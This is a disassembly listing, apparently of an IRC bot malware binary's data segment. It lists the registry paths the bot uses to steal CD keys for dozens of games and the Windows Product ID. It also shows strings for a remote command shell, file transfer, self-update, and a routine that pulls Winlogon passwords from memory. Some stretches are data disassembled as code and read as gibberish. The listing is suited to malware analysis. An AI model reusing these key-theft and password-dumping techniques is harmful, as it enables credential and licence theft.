		dd 80000002h, 43ED8Ch, 443398h,	43ED80h, 2 dup(0)
		dd 80000002h, 43ED4Ch, 443398h,	43ED40h, 2 dup(0)
		dd 80000002h, 43ED0Ch, 443398h,	43ED00h, 2 dup(0)
		dd 80000002h, 43ECCCh, 443398h,	43ECC0h, 2 dup(0)
		dd 80000002h, 43EC84h, 443398h,	43EC70h, 2 dup(0)
		dd 80000002h, 43EC34h, 443398h,	43EC20h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	ds:byte_43EBF0[eax], al
		lodsb
		test	byte ptr [ebx+0], 0D4h
		jmp	short loc_43E842
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	ds:byte_43EBB4[eax], al
		lodsb
		jmp	short loc_43E856
; ---------------------------------------------------------------------------
		align 4
		dd offset aCommandAndConq ; "Command and Conquer: Tiberian Sun"
		align 10h
		add	al, [eax]
		add	ds:byte_43EB6C[eax], al
		lodsb
		jmp	short loc_43E86E
; ---------------------------------------------------------------------------
		align 4
		dd offset aCommandAndCo_0 ; "Command and Conquer: Red Alert"
		dd 2 dup(0)
		dd 80000002h, 43EB2Ch
		db 0ACh, 0EBh
; ---------------------------------------------------------------------------


loc_43E842:				; CODE XREF: seg002:0043E7FDj
		inc	ebx
		add	[eax], cl
		jmp	short loc_43E88A
; ---------------------------------------------------------------------------
		align 10h
		dd 80000002h
		db 0F0h, 0EAh
; ---------------------------------------------------------------------------


loc_43E856:				; CODE XREF: seg002:0043E811j
		inc	ebx
		add	[ebx+ebp*8-1513FFBDh], ch
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
		dd 80000002h
; ---------------------------------------------------------------------------
		shr	dl, 1


loc_43E86E:				; CODE XREF: seg002:0043E829j
		inc	ebx
		add	al, al
		jmp	far ptr	43h:0EAB80043h
; ---------------------------------------------------------------------------
		align 10h
		add	al, [eax]
		add	ds:byte_43EA84[eax], al
		test	al, ah


loc_43E88A:				; CODE XREF: seg002:0043E845j
		inc	edx
		add	[edx+ebp*8+43h], ch
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
		dd 80000002h, 43EA30h, 43EA24h,	43E9FCh, 43E9ECh, 43E9D8h
		dd 80000002h, 43E9B4h, 43E9A8h,	43E994h, 43E984h, 43E97Ch
		dd 80000002h, 43E9B4h, 43E9A8h,	43E950h, 43E984h, 43E948h
		dd 80000002h, 43E9B4h, 43E9A8h,	43E918h, 43E984h, 43E910h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
byte_43EA84	db 53h			; DATA XREF: seg002:0043E882w
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0 ; DATA XREF: seg002:0043E82Co
		align 4
byte_43EB6C	db 53h			; DATA XREF: seg002:0043E822w
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndConq	db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: seg002:0043E814o
		align 4
aSerial_0	db 'Serial',0
		align 4
byte_43EBB4	db 53h			; DATA XREF: seg002:0043E80Aw
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
byte_43EBF0	db 53h			; DATA XREF: seg002:0043E7F2w
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:0043E4E4o
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:0043E4E0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_43E4DCo
		align 4
asc_43F6DC:				; DATA XREF: sub_416029+E9o
					; sub_416029+F4o
		unicode	0, <=>,0
dword_43F6E0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_416029+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43F75C	db  2Dh	; -		; DATA XREF: seg000:00416522o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_43F780	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: seg000:00416787o
					; seg000:0041691Do
		dd 726F72h
unk_43F798	db  2Dh	; -		; DATA XREF: seg000:0041671Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43F7C4	db  2Dh	; -		; DATA XREF: seg000:00416627o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_43F7E8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: seg000:004165F0o
		dd 74756Fh
dword_43F800	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: seg000:0041658Fo
		dd 169h
unk_43F818	db  2Dh	; -		; DATA XREF: seg000:0041654Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_43F838	db  2Dh	; -		; DATA XREF: seg000:004164A7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43F85C	db  2Dh	; -		; DATA XREF: seg000:00416469o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_43F880	db  2Dh	; -		; DATA XREF: seg000:00416996o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43F8AC	db  2Dh	; -		; DATA XREF: seg000:00416892o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43F8CC	db  2Dh	; -		; DATA XREF: seg000:00416872o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: seg000:0041685Eo
unk_43F8FC	db  2Dh	; -		; DATA XREF: seg000:0041684Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43F92C	db  2Dh	; -		; DATA XREF: seg000:00416E95o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43F958	db  2Dh	; -		; DATA XREF: seg000:00416E87o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43F98C	db  2Dh	; -		; DATA XREF: seg000:00416DCBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_43F9D0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: seg000:00416D5Ao
		dd 25206465h, 73h
unk_43F9EC	db  2Dh	; -		; DATA XREF: seg000:00416CE3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43FA24	db  2Dh	; -		; DATA XREF: seg000:00416C64o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43FA4C	db  2Dh	; -		; DATA XREF: seg000:00416BDAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_43FA78	db  2Dh	; -		; DATA XREF: seg000:00416B97o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_43FAA0	db  2Dh	; -		; DATA XREF: seg000:00416B85o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_43FAC8	db  2Dh	; -		; DATA XREF: seg000:00416A79o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416FAA:loc_416FEDo
					; sub_41979A+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416FAA:loc_416FE7o
aDisk		db 'Disk',0             ; DATA XREF: sub_416FAA:loc_416FE1o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416FAA:loc_416FDBo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416FAA:loc_416FD5o
		align 4
off_43FB18	dd offset word_4D4152	; DATA XREF: sub_416FAA:loc_416FCFo
word_43FB1C	dw 3Fh			; DATA XREF: sub_416FAA+1Fo
					; sub_41B2E4:loc_41B3E6r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_41703B:loc_417113o
					; sub_417156+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41703B+6Bo
		align 10h
unk_43FB30	db  2Dh	; -		; DATA XREF: sub_417156+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43FB6C	db  2Dh	; -		; DATA XREF: sub_417156+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_417228:loc_41726Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles_0	db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43FC18	db  2Dh	; -		; DATA XREF: sub_417517:loc_417690o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43FC4C	db  2Dh	; -		; DATA XREF: sub_417517:loc_417663o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43FC78	db  2Dh	; -		; DATA XREF: sub_417517:loc_41765Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_43FCB0	db  2Dh	; -		; DATA XREF: sub_417517+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_417517+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_417517+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417517+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417517+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417517+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417517+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417517+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417517+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417517+40o
					; sub_417517+161o ...
		align 4
unk_43FDE8	db  2Dh	; -		; DATA XREF: sub_417517+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4176E9+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4176E9+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4176E9+AFo
		align 4
dword_43FE34	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417B4F+70o
					; sub_417BE6+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43FE84	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417BE6+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_43FED8	dd offset aQ		; DATA XREF: sub_4180E3+5Cr
					; "q"
		dd offset aW		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY		; "y"
		dd offset aU		; "u"
		dd offset aI_1		; "i"
		dd offset aP		; "p"
		dd offset aA_0		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_42B9BC	; "h"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42B92C	; "l"
		dd offset aZ		; "z"
		dd offset asc_42FB78	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset aB_0		; "b"
		dd offset aN		; "n"
		dd offset aM_1		; "m"
		dd offset dword_440A3C
		dd offset dword_440A38
		dd offset dword_440A34
		dd offset dword_440A30
		dd offset dword_440A2C
		dd offset word_440A28
		dd offset dword_440A24
		dd offset aI		; "I"
		dd offset dword_440A20
		dd offset dword_440A1C
		dd offset aA		; "A"
		dd offset dword_440A18
		dd offset dword_440A14
		dd offset dword_440A10
		dd offset dword_440A0C
		dd offset dword_440A08
		dd offset dword_440A04
		dd offset dword_440A00
		dd offset dword_4409FC
		dd offset dword_4409F8
		dd offset dword_4409F4
		dd offset dword_4409F0
		dd offset dword_4409EC
		dd offset dword_4409E8
		dd offset word_4409E4
		dd offset aM_3		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_44078C
		dd offset off_440788
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4405F4
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
; ---------------------------------------------------------------------------
		fadd	dword ptr ds:5D00044h
		inc	esp
		add	al, cl
		add	eax, 5C00044h
		inc	esp
		add	[eax-4FFFBBFBh], bh
		add	eax, 5A40044h
		inc	esp
		add	[ebp+eax+5940044h], bl
		inc	esp
		add	[ebp+eax+5840044h], cl
		inc	esp
		add	[ebp+eax+44h], bh
		add	[ebp+eax+44h], dh
		add	[ebp+eax+44h], ch
		add	[eax+5], ch
		inc	esp
		add	[ebp+eax+44h], bl
